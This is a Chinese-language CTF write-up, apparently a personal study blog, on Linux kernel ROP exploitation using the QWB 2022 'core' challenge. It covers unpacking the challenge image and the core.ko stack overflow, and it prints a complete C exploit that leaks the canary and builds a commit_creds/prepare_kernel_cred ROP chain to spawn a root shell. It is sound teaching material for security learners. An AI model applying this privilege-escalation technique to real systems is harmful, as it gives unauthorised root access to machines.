前言
笔者日后是奔着搞iot去的,虽然还没学。但为啥不直接搞iot还有看看内核呢?一方面,现在还是在打CTF,无论国内还是国外,都会遇到很多有关kernel的题;另一方面,iot固件里的busybox,个人理解就是一个小型的操作系统,里面也有文件系统以及和kernel差不多的用其他架构编写的内核。还有,学习linux kernelpwn能更深入理解计算机底层的一些东西,从用户态到内核态的转变,都是百益无一害的。所以在此记录记录kernelpwn的学习过程
kernel ROP
和我们常见的二进制文件一样,kernel当中也有gadget,我们也能利用这些gadget来实现”返回导向编程“即ROP。
但kernel的题,一般漏洞都在于出题人编写的kernel模块中,我们要触发漏洞,首先就要进入内核态,然后调用这个模块。那么,我们就不能直接像用户态一样,直接通过system或者ogg来getshell了。而且,flag一般是放在目录下root文件中的,所以我们需要在内核态获取最高权限,然后返回用户态执行system或者ogg来getshell。
获取内核态的最高权限一般需要用到:commit_creds(prepare_kernel_cred(NULL))
所用的gadget一般如下:
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
注意到有个”clear the useless data“,暂时不知道是干嘛的,等会内核调试了再康
返回用户态一般会用到swapgs和iretq这两个汇编指令,对应的rop链子写法:
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
这里的user_cs等一系列有关用户态的信息,一般是在main函数开头通过如下函数保存的:
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
这里的__asm__用的就是内联汇编,不过用的是masm的写法,需要在编译的时候加上一句——-masm=intel
gcc ./exploit.c -o exploit -static -masm=intel
例题:【强网杯2022】core
下载下来的文件是这些,介绍介绍:
start.sh:启动脚本,执行过后就进入了题目给的文件系统
vmlinux:静态编译的内核
bzlmage:压缩后的内核
core.cpio:压缩后的文件系统
对这几个文件,应该进行怎么样的操作呢?
先看看start.sh:
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
为了便于调试,我们把运行内存改成了256MB且关闭了kaslr(内核地址随机化)
vmlinux主要是来找gadget用的,不过这题在文件系统里面也有一个vmlinux,去那里面找,因为文件系统挂载的就是里面的vmlinux
core.cpio我们解压它:
mkdir core
cp core.cpio ./core
cd core
mv ./core.cpio core.cpio.gz
#因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./core.cpio.gz
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./core.cpio
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract 执行copy-in模式,还原备份档。
#-d或--make-directories 如有需要cpio会自行建立目录。
#-v或--verbose 详细显示指令的执行过程。
#-m或preserve-modification-time 不去更换文件的更改时间
看看里面的init脚本:
红色箭头处表明core.ko是加载的模块,也就是存在漏洞的地方,等会就把它放入ida了
黄色箭头处表面启动后2分钟自动关闭,如果要调试的话这个要删去
漏洞
先康康core.ko的保护:
放ida里看看:
由于没开pie,我们可以通过ioctl(fd,coice,agrv)来调用core_read,set_off,core_cpy三个功能;用write(fd,buf,size)往&name中写值:
这里的fd是open(“/proc/core”):
主要的漏洞在core_cpy:
传一个负数就能把name中的值,复制最多0xffff到v2中,也就完成了栈溢出能够进行ROP
那么思路就很清晰了:
通过core_set_off设置偏移,然后core_read_buf泄露canary;write进name然后core_cpy复制到v2中完成栈溢出ROP
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RCX 0xffffffff815c0db1
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
void core_read(int fd,char* buf)
{
ioctl(fd,0x6677889B,buf);
}
void core_set_offset(int fd,size_t offset)
{
ioctl(fd,0x6677889C,offset);
}
void core_copy_func(int fd,size_t size)
{
ioctl(fd,0x6677889A,size);
}
int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
int fd = open("/proc/core",2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
FILE * sym_table_fd = fopen("/tmp/kallsyms","r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50],type[0x10];
size_t addr;
while(fscanf(sym_table_fd,"%llx%s%s",&addr,type,buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t offset = commit_creds - 0xffffffff8109c8e0;
size_t canary;
core_set_offset(fd,0x40);
core_read(fd,buf);
canary=((size_t *)buf)[0];
size_t rop[0x100];
int i=0;
for(;i < 10;i++)
rop[i]=canary;
rop[i++]=POP_RDI_RET+offset;
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
rop[i++]=POP_RCX_RET+offset;
rop[i++]=POP_RDX_RET+offset; //clean useless data
rop[i++]=MOV_RDI_RAX_CALL_RCX+offset;
rop[i++]=commit_creds;
rop[i++]=SWAPGS_POPFQ_RET+offset;
rop[i++]=0;
rop[i++]=IRETQ+offset;
rop[i++]=(size_t)getRootShell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
return 0;
}
调试
重新打包:
find . | cpio -o -H newc > ../core.cpio
运行并getshell: